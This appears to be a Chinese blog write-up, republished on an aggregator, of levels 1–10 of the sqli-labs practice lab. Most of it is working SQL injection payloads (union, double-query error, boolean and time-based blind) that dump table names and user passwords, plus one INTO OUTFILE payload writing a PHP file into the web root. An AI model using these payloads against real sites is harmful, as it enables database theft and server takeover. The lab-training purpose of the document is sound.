sqli-labs前十关记录

Posted 墨子辰

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labs前十关记录相关的知识,希望对你有一定的参考价值。

目录

第一题:布尔报错注入

?id=1'
?id=1' and 1=1--+

确认漏洞是否存在

?id=1' order by 3--+

确定字段数

?id=-1' union select 1,2,3--+

确定显示位置【负号是作为报错注入】

?id=-1' union select 1,database(),3--+

查询数据库名称

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查询所有表名
【 group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])】

?id=-1' union select 1,2,group_concat(SCHEMA_NAME) from information_schema.schemata  --+

可以列出当前数据库的所有表信息【这个语句还是很好用的】

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

查询users表里面的所有列

?id=-1' union select 1,2,group_concat(password,username) from users --+

查询列里面的内容

第二题:布尔报错注入

?id=1'


‘’ LIMIT 0,1’
这里可以看见报错类型是’‘LIMIT 0,1’ 说明,我们注入的时候可以去掉id=1’这一飘

?id=-1 or 1=1--+
?id=-1 or 1=2--+

通过第一条返回正常,第二题返回异常确定存在注入

?id=-1 order by 3--+
?id=-1 order by 4--+

通过返回页面不同,可以确定字段数为3

?id=-1 union select 1,2,3--+

返回如下

?id=-1 union select 1,2,database()--+

获取数据库

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

获取表

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

获取列

?id=-1 union select 1,2,group_concat(password) from users--+

获取字段

第三题: 布尔报错注入 ‘ 报错

?id=1’ 报错信息如下

You have an error in your SQL syntax; check the manual that corresponds to your mysql server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

说明我们的注入语句可能是这样的

select  a,b from table where id=('our input  contents')

通过如下俩条返回信息得出,漏洞点确实存在

?id=-1') or 1=1--+
?id=-1') or 1=2--+

通过页面返回信息,得知字段数为3

?id=-1') order by 3--+
?id=-1') order by 4--+

获取数据库

?id=-1') union select 1,2,database()--+

获取表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

获取列

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="referers"--+

获取内容

?id=-1') union select 1,2,group_concat(id) from referers--+

第四题:布尔报错注入“ 报错

?id=1’
没有报错
?id=1"报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

确定漏洞点

?id=1") and 1=1--+
?id=1") and 1=2--+

确定字段数

?id=1") order by 3--+
?id=1") order by 4--+

爆数据库

?id=-1") union select 1,2,database()--+

获取表

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

获取列

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

获取内容

?id=-1") union select 1,2,group_concat(password) from users--+

第五题:双查询注入 ’ 注入

在第一次接触到双查询注入时 肯定会有很多问题 在这里我们先了解一下什么叫做 双查询注入 他的语法结构 以及为什么这样构造

在此之前,我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。

看一个简单的例子:
Select concat((select database()));
真正执行的时候,先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。

双注入查询需要理解四个函数/语句

  1. Rand() //随机函数
  2. Floor() //取整函数
  3. Count() //汇总函数
  4. Group by clause //分组语句
    5.limit

use security;

concat((select database()));

就能显示security,也就是显示了当前数据库的名字了。

然后我们测试一下rand()这个随机函数是干嘛的 我们多执行一下

可以发现这是返回0-1之间的小数

我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了小于0小于2了。然后对结果进行取整。就只能是0或1了。也就是这个查询的结果不是1,就是0 我们稍微加大一点难度。看这个查询

select concat((select database()),floor(rand()*2));


不要怕。先看最里面的SELECT database() 这个就返回数据库名,这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0,就是1.然后把这两个的结果进行concat连接,那么结果不是security0就是security1了。

如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录,这里users表里有13个用户,所以返回了13条

如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有16个数据库。所以会返回16个结果

现在我们准备加上Group By 语句了。

我们使用information_schema.tables 或information_schema.columns者两个表来查询。因为表里面一般数据很多。容易生成很多的随机值,不至于全部是security0,这样就不能查询出结果了。

select concat((select database()),floor(rand()*1000))as a from information_schema.schemata group by a;


这里我先解释一下。

我们把concat((select database()), floor(rand()*1000)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下16个结果了。

意这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。

最后的亮点来了。。
我们输入这条:注意多了一个聚合函数count(*)

select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

开始解题:

?id=1' union select null,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a--+


?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 3,1),floor(rand()*2) ) as a from information_schema.tables group by a--+

?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name="users" limit 15,1),floor(rand()*2) ) as a from information_schema.tables group by a--+

?id=1' union select null,count(*),concat((select password from users limit 1,1),floor(rand()*2) ) as a from information_schema.tables group by a--+

第六题: 双查询注入 " 报错

思路和第五题完全一样,id后面 那个单引号变双引号即可

第七题:导出文件GET字符型注

1.这一关与前几关不同,这一关的报错是没有报出详细的数据库错误原因,而是统一的“ You have an error in your SQL syntax ”

2.查询成功时显示“You are in…. Use outfile……”,其中“outfile”是mysql里面的一个向系统写入文件的函数,

3.那么sql注入第一步当然是先确定注入点,我们使用常用的闭合符(如 ‘ ” ) ] 或他们的组合)进行闭合 ?id=1 ,并且在后面加上 and 1=1–+ 或 and 1=2–+ 进行判断闭合符的正确性,如果 ?id=1* and 1=1–+ 为真,且 ?id=1* and 1=2–+ 为假,那么*字符串就是有效的闭合符,我经过测试后发现 ')) 字符串可以闭合。

?id=1')) union select 1,2,"<?php phpinfo();?>" into outfile "E:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\b.php" --+

第八题: 布尔盲注

对于盲注只有2种感觉,好玩,好烦。

新技能好玩,一个一个猜好烦。

手工注入,一个个猜解。大多数人都会觉得特别烦躁的东西。

注入还设有第一点,看注入点在哪里。

个人的查看注入点的方式‘单引号,“双引号,

http://localhost/sqli/Less-8/?id=1 #正常
http://localhost/sqli/Less-8/?id=1‘ #不正常
http://localhost/sqli/Less-8/?id=1" #正常

接下来就是构造闭合

http://localhost/sqli/Less-8/?id=1‘--+ #正常,我可以认为是闭合成功了。
http://localhost/sqli/Less-8/?id=1‘ and 1=1--+ #正常
http://localhost/sqli/Less-8/?id=1‘ and 1=2--+ #不正常


接下来我可以尝试猜解数据库了。首先猜解数据库的长度。数据库猜解长度的函数length

length() 返回字符串的长度

http://localhost/sqli/Less-8/?id=1‘ and length(database())>1--+ #肯定大于1,这个事实
http://localhost/sqli/Less-8/?id=1‘ and length(database())>7--+ #大于7
http://localhost/sqli/Less-8/?id=1‘ and length(database())>8--+ #不大于8
http://localhost/sqli/Less-8/?id=1‘ and length(database())=8--+ #数据库等于8,然后呢!

然后猜解字符了,编辑坑爹呀!感觉还是写个字典用burp跑,通过ascii()和substr()猜测数据库名

ascii() #返回指定数字对应的ascii码字符函数

substr() #截取从pos位置开始到最后的所有str字符串

?id=1and (select ascii(substr(database(),1,1)))=115--+ #115=s


不停的爆破

第二个是101 e

第三个是 99 c

第四个是117 u

第五个是114 r

第六个是105 i

第七个是116 t

第八个是121 y

可以得到数据库名字为:security


接下来头疼的爆数据表,盲注果然是很枯燥的事情。

?id=1and (select ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1)))=117--+

第一个数据表 101,109,97,105,108,115 =>emails

第二个数据表 114,101,102,101,114,101,114,115 =>referers

第三个数据表 117,97,103,101,110,116,115 =>uagents

第四个数据表 117,115,101,114,115 =>users


爆字段了,我是有点奔溃了。。。。接下来更加坑爹的爆字段。

?id=1and (select ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),2,1)))=105--+

第一个字段 117,115,101,114,95,105,100 =>user_id

第二个字段 102,105,114,115,116,95,110,97,109,101 =>first_name

内心是奔溃,想办法简略一下。不是117=u或者112=p直接忽略

第三个字段 108 pass =>last_name

第四个字段 117,115,101,114 =>user

第五个字段 112,97,115,115,119,111,114,100, =>password

第六个字段 97 pass =>avatar

第七个字段 105 =》id

第八个字段 117,115,101,114,110,97,109,101 =>username

猜解一下用户名username,密码password


感觉太悲催。

?id=1and (select ascii(substr((select username from users limit 0,1),1,1)))=105--+

第一个用户名:68,117,109,98 =>Dumb

?id=1and (select ascii(substr((select password from users limit 0,1),1,1)))=68--+

第一个密码:68,117,109,98 =>Dumb

本题参考原文地址:https://www.cnblogs.com/llcn/p/12698583.html

第九题:基于时间盲注 ’ 报错

if(条件1,条件2,条件3)

如果条件1正确就执行条件2否则执行条件3


根据执行时间来判断语句是否执行成功,下面语句也是一样的操作(用二分法ascii[1-127])一个一个找出对应字母得到想要的内容。

?id=1' and if((length(database())>1),sleep(1),1)--+
?id=1' and if((length(database())=8),sleep(1),1)--+

得到数据库长度


?id=1' and if(((ascii(substr(database(),2,1)))>1),sleep(1),1)--+

?id=1' and if(((ascii(substr(database(),2,1)))=101),sleep(1),1)--+

得到数据库名称为:security


1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),sleep(1),1)--+

或者:

1' and if((select (substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),4,1))='i'),sleep(1),1)--+

得到第一个表名:emails、referers、uagents、users


1' and if((select (substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))='i'),sleep(1),1)--+

或者:

1' and if((select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>1),sleep(1),1)--+

获取到users字段为:id、login、password


1' and if((select ascii(substr((select password from users limit 0,1),1,1))>1),sleep(1),1)--+

利用二分法,获取password里面的内容

第十题:基于时间盲注 " 报错

原理和第九题原理完全一样,只是前者是单引号引起报错,后者是双引号引起报错。

如果反应时间太短无法判断,可以把sleep(1)改位sleep(3) 时间上更清晰,根据自己需要调整

if(条件1,条件2,条件3)

如果条件1正确就执行条件2否则执行条件3


根据执行时间来判断语句是否执行成功,下面语句也是一样的操作(用二分法ascii[1-127])一个一个找出对应字母得到想要的内容。

得到数据库长度

?id=1" and if((length(database())>1),sleep(1),1)--+

?id=1" and if((length(database())=8),sleep(1),1)--+

得到数据库名称为:security

?id=1" and if(((ascii(substr(database(),2,1)))>1),sleep(1),1)--+

?id=1" and if(((ascii(substr(database(),2,1)))=101),sleep(1),1)--+

1" and if((select ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),sleep(1),1)--+

或者:

1" and if((select (substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),4,1))='i'),sleep(1),1)--+

得到第一个表名:emails、referers、uagents、users


1" and if((select (substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))='i'),sleep(1),1)--+

或者:

1" and if((select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>1),sleep(1),1)--+

获取到users字段为:id、login、password


1" and if((select ascii(substr((select password from users limit 0,1),1,1))>1),sleep(1),1)--+

利用二分法,获取password里面的内容

以上是关于sqli-labs前十关记录的主要内容,如果未能解决你的问题,请参考以下文章

详细sqli-labs(1-65)通关讲解

sqli-labs闯关之31-40关

sqli-labs闯关之51-60关

sqli-labs靶场(1-22关)

sqli-labs学习

实训第三天记录-sqli-lab7-11+upload-lab1-3